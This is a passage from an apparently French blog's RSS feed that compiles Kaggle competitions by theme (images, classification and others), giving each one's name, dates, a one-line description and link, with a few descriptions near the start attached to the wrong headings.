<p>Predict the destination of taxi trips based on initial partial trajectories</p>
<br/>
<h3 id="learning-social-circles-in-networks"><a href="https://www.kaggle.com/c/learning-social-circles">Learning Social Circles in Networks</a></h3>
<p>Mon 24 Nov 2014 – Wed 7 Jan 2015</p>
<p>In this job scheduling problem, you will assign which elves work on which toys, at what time, and for how long. The goal is to complete all of the toys as early as possible, scaled by the natural log of the number of elves that work.</p>
<br/>
<h3 id="helping-santa"><a href="https://www.kaggle.com/c/helping-santas-helpers">Helping Santa&rsquo;s Helpers</a></h3>
<p>Tue 6 May 2014 – Tue 28 Oct 2014</p>
<p>Model friend memberships to multiple circles</p>
<br/>
<h3 id="higgs-boson-machine-learning-challenge"><a href="https://www.kaggle.com/c/higgs-boson">Higgs Boson Machine Learning Challenge</a></h3>
<p>Mon 12 May 2014 – Mon 15 Sep 2014</p>
<p>Use the ATLAS experiment to identify the Higgs boson</p>
<br/>
<h3 id="the-random-number-grand-challenge"><a href="https://www.kaggle.com/c/random-number-grand-challenge">The Random Number Grand Challenge</a></h3>
<p>Mon 31 Mar 2014 – Tue 1 Apr 2014</p>
<p>Decode a sequence of pseudorandom numbers</p>
<br/>
<h3 id="conway"><a href="https://www.kaggle.com/c/conway-s-reverse-game-of-life">Conway&rsquo;s Reverse Game of Life</a></h3>
<p>Mon 14 Oct 2013 – Sun 2 Mar 2014</p>
<p>Reverse the arrow of time in the Game of Life</p>
<br/>
<h3 id="packing-santa"><a href="https://www.kaggle.com/c/packing-santas-sleigh">Packing Santa&rsquo;s Sleigh</a></h3>
<p>Mon 2 Dec 2013 – Sun 26 Jan 2014</p>
<p>He&rsquo;s making a list, checking it twice; to fill up his sleigh, he needs your advice</p>
<br/>
<h3 id="personalize-expedia-hotel-searches---icdm-2013"><a href="https://www.kaggle.com/c/expedia-personalized-sort">Personalize Expedia Hotel Searches - ICDM 2013</a></h3>
<p>Tue 3 Sep 2013 – Mon 4 Nov 2013</p>
<p>Learning to rank hotels to maximize purchases</p>
<br/>
<h3 id="kdd-cup-2013---author-paper-identification-challenge-track-1"><a href="https://www.kaggle.com/c/kdd-cup-2013-author-paper-identification-challenge">KDD Cup 2013 - Author-Paper Identification Challenge (Track 1)</a></h3>
<p>Thu 18 Apr 2013 – Wed 26 Jun 2013</p>
<p>Determine whether an author has written a given paper</p>
<br/>
<h3 id="influencers-in-social-networks"><a href="https://www.kaggle.com/c/predict-who-is-more-influential-in-a-social-network">Influencers in Social Networks</a></h3>
<p>Sat 13 Apr 2013 – Sun 14 Apr 2013</p>
<p>Predict which people are influential in a social network</p>
<br/>
<h3 id="predicting-parkinson"><a href="https://www.kaggle.com/c/predicting-parkinson-s-disease-progression-with-smartphone-data">Predicting Parkinson&rsquo;s Disease Progression with Smartphone Data</a></h3>
<p>Tue 5 Feb 2013 – Wed 27 Mar 2013</p>
<p>Can we objectively measure the symptoms of Parkinson’s disease with a smartphone? We have the data to find out!</p>
<br/>
<h3 id="event-recommendation-engine-challenge"><a href="https://www.kaggle.com/c/event-recommendation-engine-challenge">Event Recommendation Engine Challenge</a></h3>
<p>Fri 11 Jan 2013 – Wed 20 Feb 2013</p>
<p>Predict what events our users will be interested in based on user actions, event metadata, and demographic information.</p>
<br/>
<h3 id="leaping-leaderboard-leapfrogs"><a href="https://www.kaggle.com/c/leapfrogging-leaderboards">Leaping Leaderboard Leapfrogs</a></h3>
<p>Fri 14 Dec 2012 – Fri 8 Feb 2013</p>
<p>Provide creative visualizations of the Kaggle leaderboard</p>
<br/>
<h3 id="visualize-the-state-of-public-education-in-colorado"><a href="https://www.kaggle.com/c/visualize-the-state-of-education-in-colorado">Visualize the State of Public Education in Colorado</a></h3>
<p>Mon 10 Dec 2012 – Sun 20 Jan 2013</p>
<p>Using 3 years of school grading data supplied by the Colorado Department of Education and R-Squared Research, visually uncover trends in the Colorado public school system.</p>
<br/>
<h3 id="traveling-santa-problem"><a href="https://www.kaggle.com/c/traveling-santa-problem">Traveling Santa Problem</a></h3>
<p>Fri 14 Dec 2012 – Sat 19 Jan 2013</p>
<p>Solve ye olde traveling salesman problem to help Santa Claus deliver his presents</p>
<br/>
<h3 id="facebook-ii---mapping-the-internet"><a href="https://www.kaggle.com/c/facebook-ii">Facebook II - Mapping the Internet</a></h3>
<p>Wed 24 Oct 2012 – Wed 21 Nov 2012</p>
<p>The Task: you will be given a path which, at one point in the training time period, was an optimal path from node A to B. The question is then to make a probalistic prediction, for each of the 5 test graphs, whether the given path is STILL an optimal path.</p>
<br/>
<h3 id="follow-the-money-investigative-reporting-prospect"><a href="https://www.kaggle.com/c/cir-prospect">Follow the Money: Investigative Reporting Prospect</a></h3>
<p>Fri 14 Sep 2012 – Mon 15 Oct 2012</p>
<p>Find hidden patterns, connections, and ultimately compelling stories in a treasure trove of data about US federal campaign contributions</p>
<br/>
<h3 id="job-recommendation-challenge"><a href="https://www.kaggle.com/c/job-recommendation">Job Recommendation Challenge</a></h3>
<p>Fri 3 Aug 2012 – Sun 7 Oct 2012</p>
<p>Predict which jobs users will apply to</p>
<br/>
<h3 id="practice-fusion-analyze-this-2012---open-challenge"><a href="https://www.kaggle.com/c/pf2012-at">Practice Fusion Analyze This! 2012 - Open Challenge</a></h3>
<p>Thu 7 Jun 2012 – Mon 10 Sep 2012</p>
<p>Start digging into electronic health records and submit your creative, insightful, and visually striking analyses.</p>
<br/>
<h3 id="harvard-business-review"><a href="https://www.kaggle.com/c/harvard-business-review-vision-statement-prospect">Harvard Business Review &lsquo;Vision Statement&rsquo; Prospect</a></h3>
<p>Sat 18 Aug 2012 – Mon 27 Aug 2012</p>
<p>Your Analysis and/or Visualization featured in the Harvard Business Review</p>
<br/>
<h3 id="million-song-dataset-challenge"><a href="https://www.kaggle.com/c/msdchallenge">Million Song Dataset Challenge</a></h3>
<p>Thu 26 Apr 2012 – Thu 9 Aug 2012</p>
<p>Predict which songs a user will listen to.</p>
<br/>
<h3 id="emi-music-data-science-hackathon---july-21st---24-hours"><a href="https://www.kaggle.com/c/MusicHackathon">EMI Music Data Science Hackathon - July 21st - 24 hours</a></h3>
<p>Sat 21 Jul 2012 – Sun 22 Jul 2012</p>
<p>Can you predict if a listener will love a new song?</p>
<br/>
<h3 id="facebook-recruiting-competition"><a href="https://www.kaggle.com/c/FacebookRecruiting">Facebook Recruiting Competition</a></h3>
<p>Tue 5 Jun 2012 – Tue 10 Jul 2012</p>
<p>The challenge is to recommend missing links in a social network.  Participants will be presented with an external anonymized, directed social graph (no, not Facebook, keep guessing) from which some edges have been deleted, and asked to make ranked predictions for each user in the test set of which other users they would want to follow.</p>
<br/>
<h3 id="practice-fusion-analyze-this-2012---prediction-challenge"><a href="https://www.kaggle.com/c/pf2012">Practice Fusion Analyze This! 2012 - Prediction Challenge</a></h3>
<p>Thu 7 Jun 2012 – Sat 30 Jun 2012</p>
<p>Start digging into electronic health records and submit your ideas for the most promising, impactful or interesting predictive modeling competitions</p>
<br/>
<h3 id="semi-supervised-feature-learning"><a href="https://www.kaggle.com/c/SemiSupervisedFeatureLearning">Semi-Supervised Feature Learning</a></h3>
<p>Sat 24 Sep 2011 – Mon 17 Oct 2011</p>
<p>There&rsquo;s been a lot of recent work done in unsupervised feature learning for classification and there are a ton of older methods that also work well. The purpose of this competition is to find out which of these methods work best on relatively large-scale high dimensional learning tasks.</p>
]]></content>
        </item>
        
        <item>
            <title>Insights pour Use Cases Image Machine Learning</title>
            <link>https://leandeep.com/insights-pour-use-cases-image-machine-learning/</link>
            <pubDate>Wed, 27 Jul 2016 22:36:00 +0000</pubDate>
            
            <guid>https://leandeep.com/insights-pour-use-cases-image-machine-learning/</guid>
            <description>&lt;p&gt;Cette compilation de compétitions Kaggle autour de sujets d&amp;rsquo;analyse d&amp;rsquo;images peut vous faire gagner du temps dans vos propres Use Cases.&lt;/p&gt;
&lt;h3 id=&#34;digit-recognizer&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/digit-recognizer&#34;&gt;Digit Recognizer&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Wed 25 Jul 2012 - Sat 31 Dec 2016&lt;/p&gt;
&lt;p&gt;Classify handwritten digits using the famous MNIST data&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;facial-keypoints-detection&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/facial-keypoints-detection&#34;&gt;Facial Keypoints Detection&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Tue 7 May 2013 - Sat 31 Dec 2016&lt;/p&gt;
&lt;p&gt;Detect the location of keypoints on face images&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;first-steps-with-julia&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/street-view-getting-started-with-julia&#34;&gt;First Steps With Julia&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Mon 4 Aug 2014 - Sat 31 Dec 2016&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Cette compilation de compétitions Kaggle autour de sujets d&rsquo;analyse d&rsquo;images peut vous faire gagner du temps dans vos propres Use Cases.</p>
<h3 id="digit-recognizer"><a href="https://www.kaggle.com/c/digit-recognizer">Digit Recognizer</a></h3>
<p>Wed 25 Jul 2012 - Sat 31 Dec 2016</p>
<p>Classify handwritten digits using the famous MNIST data</p>
<br/>
<h3 id="facial-keypoints-detection"><a href="https://www.kaggle.com/c/facial-keypoints-detection">Facial Keypoints Detection</a></h3>
<p>Tue 7 May 2013 - Sat 31 Dec 2016</p>
<p>Detect the location of keypoints on face images</p>
<br/>
<h3 id="first-steps-with-julia"><a href="https://www.kaggle.com/c/street-view-getting-started-with-julia">First Steps With Julia</a></h3>
<p>Mon 4 Aug 2014 - Sat 31 Dec 2016</p>
<p>Use Julia to identify characters from Google Street View images</p>
<br/>
<h3 id="painter-by-numbers"><a href="https://www.kaggle.com/c/painter-by-numbers">Painter by Numbers</a></h3>
<p>Fri 29 Apr 2016 - Mon 31 Oct 2016</p>
<p>Does every painter leave a fingerprint?</p>
<br/>
<h3 id="ultrasound-nerve-segmentation"><a href="https://www.kaggle.com/c/ultrasound-nerve-segmentation">Ultrasound Nerve Segmentation</a></h3>
<p>Thu 19 May 2016 - Thu 18 Aug 2016</p>
<p>Identify nerve structures in ultrasound images of the neck</p>
<br/>
<h3 id="state-farm-distracted-driver-detection"><a href="https://www.kaggle.com/c/state-farm-distracted-driver-detection">State Farm Distracted Driver Detection</a></h3>
<p>Tue 5 Apr 2016 - Mon 1 Aug 2016</p>
<p>Can computer vision spot distracted drivers?</p>
<br/>
<h3 id="avito-duplicate-ads-detection"><a href="https://www.kaggle.com/c/avito-duplicate-ads-detection">Avito Duplicate Ads Detection</a></h3>
<p>Fri 6 May 2016 – Mon 11 Jul 2016</p>
<p>Can you detect duplicitous duplicate ads?</p>
<br/>
<h3 id="draper-satellite-image-chronology"><a href="https://www.kaggle.com/c/draper-satellite-image-chronology">Draper Satellite Image Chronology</a></h3>
<p>Fri 29 Apr 2016 – Mon 27 Jun 2016</p>
<p>Draper provides a unique dataset of images taken at the same locations over 5 days. Kagglers are challenged to predict the chronological order of the photos taken at each location. Accurately doing so could uncover approaches that have a global impact on commerce, science, and humanitarian works.</p>
<br/>
<h3 id="yelp-restaurant-photo-classification"><a href="https://www.kaggle.com/c/yelp-restaurant-photo-classification">Yelp Restaurant Photo Classification</a></h3>
<p>Mon 21 Dec 2015 – Tue 12 Apr 2016</p>
<p>In this competition, Yelp is challenging Kagglers to build a model that automatically tags restaurants with multiple labels using a dataset of user-submitted photos.</p>
<br/>
<h3 id="second-annual-data-science-bowl"><a href="https://www.kaggle.com/c/second-annual-data-science-bowl">Second Annual Data Science Bowl</a></h3>
<p>Mon 14 Dec 2015 – Mon 14 Mar 2016</p>
<p>Transforming How We Diagnose Heart Disease</p>
<ul>
<li>1st place: <a href="https://github.com/ShuaiW/diagnose-heart">code</a></li>
<li>2nd place: <a href="https://github.com/ShuaiW/kaggle-heart">code</a> | <a href="http://blog.kaggle.com/2016/04/13/diagnosing-heart-diseases-with-deep-neural-networks-2nd-place-ira-korshunova/">interview</a></li>
<li>3rd place: <a href="https://github.com/ShuaiW/kaggle_ndsb2">code</a></li>
<li>[Keras code] (<a href="https://github.com/ShuaiW/kaggle-dsb2-keras%29">https://github.com/ShuaiW/kaggle-dsb2-keras)</a>: ~0.036</li>
</ul>
<br/>
<h3 id="right-whale-recognition"><a href="https://www.kaggle.com/c/noaa-right-whale-recognition">Right Whale Recognition</a></h3>
<p>Thu 27 Aug 2015 – Thu 7 Jan 2016</p>
<p>Identify endangered right whales in aerial photographs</p>
<br/>
<h3 id="diabetic-retinopathy-detection"><a href="https://www.kaggle.com/c/diabetic-retinopathy-detection">Diabetic Retinopathy Detection</a></h3>
<p>Tue 17 Feb 2015 – Mon 27 Jul 2015</p>
<p>Identify signs of diabetic retinopathy in eye images</p>
<br/>
<h3 id="national-data-science-bowl"><a href="https://www.kaggle.com/c/datasciencebowl">National Data Science Bowl</a></h3>
<p>Mon 15 Dec 2014 – Mon 16 Mar 2015</p>
<p>Predict ocean health, one plankton at a time</p>
<br/>
<h3 id="cifar-10---object-recognition-in-images"><a href="https://www.kaggle.com/c/cifar-10">CIFAR-10 - Object Recognition in Images</a></h3>
<p>Fri 18 Oct 2013 – Sat 18 Oct 2014</p>
<p>Identify the subject of 60,000 labeled images</p>
<br/>
<h3 id="upenn-and-mayo-clinic"><a href="https://www.kaggle.com/c/seizure-detection">UPenn and Mayo Clinic&rsquo;s Seizure Detection Challenge</a></h3>
<p>Mon 19 May 2014 – Tue 19 Aug 2014</p>
<p>Detect seizures in intracranial EEG recordings</p>
<br/>
<h3 id="decmeg2014---decoding-the-human-brain"><a href="https://www.kaggle.com/c/decoding-the-human-brain">DecMeg2014 - Decoding the Human Brain</a></h3>
<p>Mon 21 Apr 2014 – Sun 27 Jul 2014</p>
<p>Predict visual stimuli from MEG recordings of human brain activity</p>
<br/>
<h3 id="connectomics"><a href="https://www.kaggle.com/c/connectomics">CONNECTOMICS</a></h3>
<p>Wed 5 Feb 2014 – Mon 5 May 2014</p>
<p>Reconstruct the wiring between neurons from fluorescence imaging of neural activity</p>
<br/>
<h3 id="galaxy-zoo---the-galaxy-challenge"><a href="https://www.kaggle.com/c/galaxy-zoo-the-galaxy-challenge">Galaxy Zoo - The Galaxy Challenge</a></h3>
<p>Fri 20 Dec 2013 – Fri 4 Apr 2014</p>
<p>Classify the morphologies of distant galaxies in our Universe</p>
<br/>
<h3 id="dogs-vs-cats"><a href="https://www.kaggle.com/c/dogs-vs-cats">Dogs vs. Cats</a></h3>
<p>Wed 25 Sep 2013 – Sat 1 Feb 2014</p>
<p>Create an algorithm to distinguish dogs from cats</p>
<br/>
<h3 id="multi-modal-gesture-recognition"><a href="https://www.kaggle.com/c/multi-modal-gesture-recognition">Multi-modal Gesture Recognition</a></h3>
<p>Fri 21 Jun 2013 – Sun 25 Aug 2013</p>
<p>Recognize gesture sequences in video and depth data from Kinect</p>
<br/>
<h3 id="challenges-in-representation-learning-multi-modal-learning"><a href="https://www.kaggle.com/c/challenges-in-representation-learning-multi-modal-learning">Challenges in Representation Learning: Multi-modal Learning</a></h3>
<p>Fri 12 Apr 2013 – Fri 24 May 2013</p>
<p>The multi-modal learning challenge</p>
<br/>
<h3 id="challenges-in-representation-learning-the-black-box-learning-challenge"><a href="https://www.kaggle.com/c/challenges-in-representation-learning-the-black-box-learning-challenge">Challenges in Representation Learning: The Black Box Learning Challenge</a></h3>
<p>Fri 12 Apr 2013 – Fri 24 May 2013</p>
<p>Competitors train a classifier on a dataset that is not human readable, without knowledge of what the data consists of.</p>
<br/>
<h3 id="challenges-in-representation-learning-facial-expression-recognition-challenge"><a href="https://www.kaggle.com/c/challenges-in-representation-learning-facial-expression-recognition-challenge">Challenges in Representation Learning: Facial Expression Recognition Challenge</a></h3>
<p>Fri 12 Apr 2013 – Fri 24 May 2013</p>
<p>Learn facial expressions from an image</p>
<br/>
<h3 id="icdar2013---gender-prediction-from-handwriting"><a href="https://www.kaggle.com/c/icdar2013-gender-prediction-from-handwriting">ICDAR2013 - Gender Prediction from Handwriting</a></h3>
<p>Tue 5 Mar 2013 – Mon 15 Apr 2013</p>
<p>Predict if a handwritten document has been produced by a male or a female writer</p>
<br/>
<h3 id="chalearn-gesture-challenge-2"><a href="https://www.kaggle.com/c/GestureChallenge2">CHALEARN Gesture Challenge 2</a></h3>
<p>Tue 8 May 2012 – Tue 11 Sep 2012</p>
<p>Develop a Gesture Recognizer for Microsoft Kinect (TM)</p>
<br/>
<h3 id="chalearn-gesture-challenge"><a href="https://www.kaggle.com/c/GestureChallenge">CHALEARN Gesture Challenge</a></h3>
<p>Wed 7 Dec 2011 – Tue 10 Apr 2012</p>
<p>Develop a Gesture Recognizer for Microsoft Kinect (TM)</p>
]]></content>
        </item>
        
        <item>
            <title>Insights pour Use Cases Machine Classification Learning</title>
            <link>https://leandeep.com/insights-pour-use-cases-machine-classification-learning/</link>
            <pubDate>Sun, 24 Jul 2016 21:33:00 +0000</pubDate>
            
            <guid>https://leandeep.com/insights-pour-use-cases-machine-classification-learning/</guid>
            <description>&lt;p&gt;Cette compilation de compétitions Kaggle autour de sujets de classification peut vous faire gagner du temps dans vos propres Use Cases.&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;titanic-machine-learning-from-disaster&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/titanic&#34;&gt;Titanic: Machine Learning from Disaster&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Fri 28 Sep 2012 - Sat 31 Dec 2016&lt;/p&gt;
&lt;p&gt;Predict survival on the Titanic using Excel, Python, R &amp;amp; Random Forests&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;talkingdata-mobile-user-demographics&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/talkingdata-mobile-user-demographics&#34;&gt;TalkingData Mobile User Demographics&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Mon 11 Jul 2016 - Mon 5 Sep 2016&lt;/p&gt;
&lt;p&gt;Get to know millions of mobile device users&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Cette compilation de compétitions Kaggle autour de sujets de classification peut vous faire gagner du temps dans vos propres Use Cases.</p>
<br/>
<h3 id="titanic-machine-learning-from-disaster"><a href="https://www.kaggle.com/c/titanic">Titanic: Machine Learning from Disaster</a></h3>
<p>Fri 28 Sep 2012 - Sat 31 Dec 2016</p>
<p>Predict survival on the Titanic using Excel, Python, R &amp; Random Forests</p>
<br/>
<h3 id="talkingdata-mobile-user-demographics"><a href="https://www.kaggle.com/c/talkingdata-mobile-user-demographics">TalkingData Mobile User Demographics</a></h3>
<p>Mon 11 Jul 2016 - Mon 5 Sep 2016</p>
<p>Get to know millions of mobile device users</p>
<br/>
<h3 id="shelter-animal-outcomes"><a href="https://www.kaggle.com/c/shelter-animal-outcomes">Shelter Animal Outcomes</a></h3>
<p>Mon 21 Mar 2016 - Sun 31 Jul 2016</p>
<p>Help improve outcomes for shelter animals</p>
<br/>
<h3 id="san-francisco-crime-classification"><a href="https://www.kaggle.com/c/sf-crime">San Francisco Crime Classification</a></h3>
<p>Tue 2 Jun 2015 – Mon 6 Jun 2016</p>
<p>Predict the category of crimes that occurred in the city by the bay</p>
<br/>
<h3 id="santander-customer-satisfaction"><a href="https://www.kaggle.com/c/santander-customer-satisfaction">Santander Customer Satisfaction</a></h3>
<p>Wed 2 Mar 2016 – Mon 2 May 2016</p>
<p>Which customers are happy customers?</p>
<br/>
<h3 id="bnp-paribas-cardif-claims-management"><a href="https://www.kaggle.com/c/bnp-paribas-cardif-claims-management">BNP Paribas Cardif Claims Management</a></h3>
<p>Wed 3 Feb 2016 – Mon 18 Apr 2016</p>
<p>Can you accelerate BNP Paribas Cardif&rsquo;s claims management process?</p>
<br/>
<h3 id="march-machine-learning-mania-2016"><a href="https://www.kaggle.com/c/march-machine-learning-mania-2016">March Machine Learning Mania 2016</a></h3>
<p>Thu 11 Feb 2016 – Tue 5 Apr 2016</p>
<p>Predict the 2016 NCAA Basketball Tournament</p>
<br/>
<h3 id="telstra-network-disruptions"><a href="https://www.kaggle.com/c/telstra-recruiting-network">Telstra Network Disruptions</a></h3>
<p>Wed 25 Nov 2015 – Mon 29 Feb 2016</p>
<p>Telstra is challenging Kagglers to predict the severity of service disruptions on their network. Using a dataset of features from their service logs, you&rsquo;re tasked with predicting if a disruption is a momentary glitch or a total interruption of connectivity.</p>
<br/>
<h3 id="prudential-life-insurance-assessment"><a href="https://www.kaggle.com/c/prudential-life-insurance-assessment">Prudential Life Insurance Assessment</a></h3>
<p>Mon 23 Nov 2015 – Mon 15 Feb 2016</p>
<p>By developing a predictive model that accurately classifies risk using a more automated approach, you can greatly impact public perception of the industry.</p>
<br/>
<h3 id="the-allen-ai-science-challenge"><a href="https://www.kaggle.com/c/the-allen-ai-science-challenge">The Allen AI Science Challenge</a></h3>
<p>Wed 7 Oct 2015 – Sat 13 Feb 2016</p>
<p>Using a dataset of multiple choice question and answers from a standardized 8th grade science exam, AI2 is challenging you to create a model that gets to the head of the class.</p>
<br/>
<h3 id="airbnb-new-user-bookings"><a href="https://www.kaggle.com/c/airbnb-recruiting-new-user-bookings">Airbnb New User Bookings</a></h3>
<p>Wed 25 Nov 2015 – Thu 11 Feb 2016</p>
<p>In this recruiting competition, Airbnb challenges you to predict in which country a new user will make his or her first booking.</p>
<br/>
<h3 id="homesite-quote-conversion"><a href="https://www.kaggle.com/c/homesite-quote-conversion">Homesite Quote Conversion</a></h3>
<p>Mon 9 Nov 2015 – Mon 8 Feb 2016</p>
<p>Which customers will purchase a quoted insurance plan?</p>
<br/>
<h3 id="walmart-recruiting-trip-type-classification"><a href="https://www.kaggle.com/c/walmart-recruiting-trip-type-classification">Walmart Recruiting: Trip Type Classification</a></h3>
<p>Mon 26 Oct 2015 – Sun 27 Dec 2015</p>
<p>Walmart is challenging Kagglers to focus on the (data) science and classify customer trips using only a transactional dataset of the items they&rsquo;ve purchased.</p>
<br/>
<h3 id="what"><a href="https://www.kaggle.com/c/whats-cooking">What&rsquo;s Cooking?</a></h3>
<p>Wed 9 Sep 2015 – Sun 20 Dec 2015</p>
<p>Use recipe ingredients to categorize the cuisine</p>
<br/>
<h3 id="springleaf-marketing-response"><a href="https://www.kaggle.com/c/springleaf-marketing-response">Springleaf Marketing Response</a></h3>
<p>Fri 14 Aug 2015 – Mon 19 Oct 2015</p>
<p>Determine whether to send a direct mail piece to a customer</p>
<br/>
<h3 id="truly-native"><a href="https://www.kaggle.com/c/dato-native">Truly Native?</a></h3>
<p>Thu 6 Aug 2015 – Wed 14 Oct 2015</p>
<p>Predict which web pages served by StumbleUpon are sponsored</p>
<br/>
<h3 id="flavours-of-physics-finding-τ--μμμ"><a href="https://www.kaggle.com/c/flavours-of-physics">Flavours of Physics: Finding τ → μμμ</a></h3>
<p>Mon 20 Jul 2015 – Mon 12 Oct 2015</p>
<p>Identify a rare decay phenomenon</p>
<br/>
<h3 id="avito-context-ad-clicks"><a href="https://www.kaggle.com/c/avito-context-ad-clicks">Avito Context Ad Clicks</a></h3>
<p>Tue 2 Jun 2015 – Tue 28 Jul 2015</p>
<p>Predict if context ads will earn a user&rsquo;s click</p>
<br/>
<h3 id="crowdflower-search-results-relevance"><a href="https://www.kaggle.com/c/crowdflower-search-relevance">Crowdflower Search Results Relevance</a></h3>
<p>Mon 11 May 2015 – Mon 6 Jul 2015</p>
<p>Predict the relevance of search results from eCommerce sites</p>
<br/>
<h3 id="west-nile-virus-prediction"><a href="https://www.kaggle.com/c/predict-west-nile-virus">West Nile Virus Prediction</a></h3>
<p>Wed 22 Apr 2015 – Wed 17 Jun 2015</p>
<p>Predict West Nile virus in mosquitos across the city of Chicago</p>
<br/>
<h3 id="facebook-recruiting-iv-human-or-robot"><a href="https://www.kaggle.com/c/facebook-recruiting-iv-human-or-bot">Facebook Recruiting IV: Human or Robot?</a></h3>
<p>Mon 27 Apr 2015 – Mon 8 Jun 2015</p>
<p>The goal of this competition is to identify online auction bids that are placed by &ldquo;robots&rdquo;, helping the site owners easily flag these users for removal from their site to prevent unfair auction activity.</p>
<br/>
<h3 id="poker-rule-induction"><a href="https://www.kaggle.com/c/poker-rule-induction">Poker Rule Induction</a></h3>
<p>Wed 3 Dec 2014 – Mon 1 Jun 2015</p>
<p>Determine the poker hand of five playing cards</p>
<br/>
<h3 id="random-acts-of-pizza"><a href="https://www.kaggle.com/c/random-acts-of-pizza">Random Acts of Pizza</a></h3>
<p>Thu 29 May 2014 – Mon 1 Jun 2015</p>
<p>Predicting altruism through free pizza</p>
<br/>
<h3 id="otto-group-product-classification-challenge"><a href="https://www.kaggle.com/c/otto-group-product-classification-challenge">Otto Group Product Classification Challenge</a></h3>
<p>Tue 17 Mar 2015 – Mon 18 May 2015</p>
<p>Classify products into the correct category</p>
<br/>
<h3 id="forest-cover-type-prediction"><a href="https://www.kaggle.com/c/forest-cover-type-prediction">Forest Cover Type Prediction</a></h3>
<p>Fri 16 May 2014 – Mon 11 May 2015</p>
<p>Use cartographic variables to classify forest categories</p>
<br/>
<h3 id="microsoft-malware-classification-challenge-big-2015"><a href="https://www.kaggle.com/c/malware-classification">Microsoft Malware Classification Challenge (BIG 2015)</a></h3>
<p>Tue 3 Feb 2015 – Fri 17 Apr 2015</p>
<p>Classify malware into families based on file content and characteristics</p>
<br/>
<h3 id="march-machine-learning-mania-2015"><a href="https://www.kaggle.com/c/march-machine-learning-mania-2015">March Machine Learning Mania 2015</a></h3>
<p>Mon 2 Feb 2015 – Tue 7 Apr 2015</p>
<p>Predict the 2015 NCAA Basketball Tournament</p>
<br/>
<h3 id="bci-challenge--ner-2015"><a href="https://www.kaggle.com/c/inria-bci-challenge">BCI Challenge @ NER 2015</a></h3>
<p>Wed 19 Nov 2014 – Tue 24 Feb 2015</p>
<p>A spell on you if you cannot detect errors!</p>
<br/>
<h3 id="click-through-rate-prediction"><a href="https://www.kaggle.com/c/avazu-ctr-prediction">Click-Through Rate Prediction</a></h3>
<p>Tue 18 Nov 2014 – Mon 9 Feb 2015</p>
<p>Predict whether a mobile ad will be clicked</p>
<br/>
<h3 id="data-science-london--scikit-learn"><a href="https://www.kaggle.com/c/data-science-london-scikit-learn">Data Science London + Scikit-learn</a></h3>
<p>Wed 6 Mar 2013 – Wed 31 Dec 2014</p>
<p>Scikit-learn is an open-source machine learning library for Python. Give it a try here!</p>
<br/>
<h3 id="display-advertising-challenge"><a href="https://www.kaggle.com/c/criteo-display-ad-challenge">Display Advertising Challenge</a></h3>
<p>Tue 24 Jun 2014 – Tue 23 Sep 2014</p>
<p>Predict click-through rates on display ads</p>
<br/>
<h3 id="mlsp-2014-schizophrenia-classification-challenge"><a href="https://www.kaggle.com/c/mlsp-2014-mri">MLSP 2014 Schizophrenia Classification Challenge</a></h3>
<p>Thu 5 Jun 2014 – Sun 20 Jul 2014</p>
<p>Diagnose schizophrenia using multimodal features from MRI scans</p>
<br/>
<h3 id="greek-media-monitoring-multilabel-classification-wise-2014"><a href="https://www.kaggle.com/c/wise-2014">Greek Media Monitoring Multilabel Classification (WISE 2014)</a></h3>
<p>Mon 2 Jun 2014 – Tue 15 Jul 2014</p>
<p>Multi-label classification of printed media articles to topics</p>
<br/>
<h3 id="kdd-cup-2014---predicting-excitement-at-donorschooseorg"><a href="https://www.kaggle.com/c/kdd-cup-2014-predicting-excitement-at-donors-choose">KDD Cup 2014 - Predicting Excitement at DonorsChoose.org</a></h3>
<p>Thu 15 May 2014 – Tue 15 Jul 2014</p>
<p>Predict funding requests that deserve an A+</p>
<br/>
<h3 id="acquire-valued-shoppers-challenge"><a href="https://www.kaggle.com/c/acquire-valued-shoppers-challenge">Acquire Valued Shoppers Challenge</a></h3>
<p>Thu 10 Apr 2014 – Mon 14 Jul 2014</p>
<p>Predict which shoppers will become repeat buyers</p>
<br/>
<h3 id="allstate-purchase-prediction-challenge"><a href="https://www.kaggle.com/c/allstate-purchase-prediction-challenge">Allstate Purchase Prediction Challenge</a></h3>
<p>Tue 18 Feb 2014 – Mon 19 May 2014</p>
<p>Predict a purchased policy based on transaction history</p>
<br/>
<h3 id="march-machine-learning-mania"><a href="https://www.kaggle.com/c/march-machine-learning-mania">March Machine Learning Mania</a></h3>
<p>Tue 7 Jan 2014 – Tue 8 Apr 2014</p>
<p>Tip off college basketball by predicting the 2014 NCAA Tournament</p>
<br/>
<h3 id="accelerometer-biometric-competition"><a href="https://www.kaggle.com/c/accelerometer-biometric-competition">Accelerometer Biometric Competition</a></h3>
<p>Tue 23 Jul 2013 – Fri 22 Nov 2013</p>
<p>Recognize users of mobile devices from accelerometer data</p>
<br/>
<h3 id="stumbleupon-evergreen-classification-challenge"><a href="https://www.kaggle.com/c/stumbleupon">StumbleUpon Evergreen Classification Challenge</a></h3>
<p>Fri 16 Aug 2013 – Thu 31 Oct 2013</p>
<p>Build a classifier to categorize webpages as evergreen or non-evergreen</p>
<br/>
<h3 id="cause-effect-pairs"><a href="https://www.kaggle.com/c/cause-effect-pairs">Cause-effect pairs</a></h3>
<p>Fri 29 Mar 2013 – Mon 2 Sep 2013</p>
<p>Given samples from a pair of variables A, B, find whether A is a cause of B.</p>
<br/>
<h3 id="amazoncom---employee-access-challenge"><a href="https://www.kaggle.com/c/amazon-employee-access-challenge">Amazon.com - Employee Access Challenge</a></h3>
<p>Wed 29 May 2013 – Wed 31 Jul 2013</p>
<p>Predict an employee&rsquo;s access needs, given his/her job role</p>
<br/>
